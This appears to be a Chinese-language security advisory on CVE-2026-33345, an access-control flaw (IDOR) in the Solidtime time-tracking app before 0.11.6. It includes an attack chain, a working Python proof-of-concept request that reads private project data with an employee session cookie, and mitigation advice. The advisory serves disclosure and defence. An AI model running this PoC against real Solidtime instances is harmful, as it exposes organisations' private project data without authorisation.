IPBUF安全漏洞报告
English
CVE-2026-33345 CVSS 6.5 中危

CVE-2026-33345 Solidtime越权访问漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33345
漏洞类型
越权访问 (IDOR)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
solidtime

相关标签

IDOR越权访问权限绕过Solidtime信息泄露

漏洞概述

Solidtime是一款开源时间追踪应用。在0.11.6版本之前,其项目详情接口存在严重的越权访问漏洞。由于`show()`端点未正确应用`visibleByEmployee()`权限校验,任何经过身份验证的员工都可以通过构造特定的UUID请求,直接访问组织内任意私有项目,即使他们并非项目成员,从而导致敏感项目信息泄露。

技术细节

该漏洞属于典型的不安全的直接对象引用(IDOR)。在Solidtime的Laravel后端代码中,`index()`方法正确使用了Eloquent Scope `visibleByEmployee()`来过滤当前用户可见的项目列表。然而,负责获取单条项目详情的`show()`方法在实现时存在逻辑缺陷,它直接通过传入的UUID查询数据库,却遗漏了`visibleByEmployee()`这一关键的权限校验步骤。攻击者只需拥有一个有效的普通员工账号,无需管理员特权,即可通过遍历或猜测项目的UUID,构造并发送GET请求至`/api/v1/organizations/{org}/projects/{project}`。服务器会无条件返回对应项目的详细信息,完全绕过了基于角色的访问控制(RBAC),造成了严重的水平越权,导致敏感项目数据面临泄露风险。

攻击链分析

STEP 1
1. 信息收集
攻击者注册或获取一个低权限的普通员工账户,并登录系统获取有效的Session或Token。
STEP 2
2. 目标识别
攻击者确定目标组织的ID(通常在URL或API响应中可见),并收集或猜测私有项目的UUID。
STEP 3
3. 漏洞利用
攻击者构造GET请求,向`/api/v1/organizations/{org}/projects/{project}`发送请求,其中project参数为目标私有项目的UUID。
STEP 4
4. 数据获取
服务器因缺少权限校验,直接返回该私有项目的详细信息,攻击者成功获取未授权数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration TARGET_URL = "https://target-solidtime-instance.com" ORG_ID = "target-org-id" TARGET_PROJECT_UUID = "uuid-of-private-project" SESSION_COOKIE = "valid_session_cookie_value" # Headers headers = { "Cookie": f"solidtime_session={SESSION_COOKIE}", "Accept": "application/json", "User-Agent": "CVE-2026-33345-POC" } # Vulnerable Endpoint # The show() method lacks visibleByEmployee() scope check vuln_endpoint = f"{TARGET_URL}/api/v1/organizations/{ORG_ID}/projects/{TARGET_PROJECT_UUID}" try: response = requests.get(vuln_endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit Successful! Leaked Project Data:") print(response.json()) elif response.status_code == 403: print("[-] Access Denied. Vulnerability might be patched.") else: print(f"[!] Unexpected status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error occurred: {e}")

影响范围

solidtime < 0.11.6

防御指南

临时缓解措施
建议立即升级至修复版本。若无法立即升级,应限制API接口的网络访问来源,并部署Web应用防火墙(WAF)规则,监控针对`/api/v1/organizations/*/projects/*`端点的异常访问模式,特别是对非分配项目UUID的遍历请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表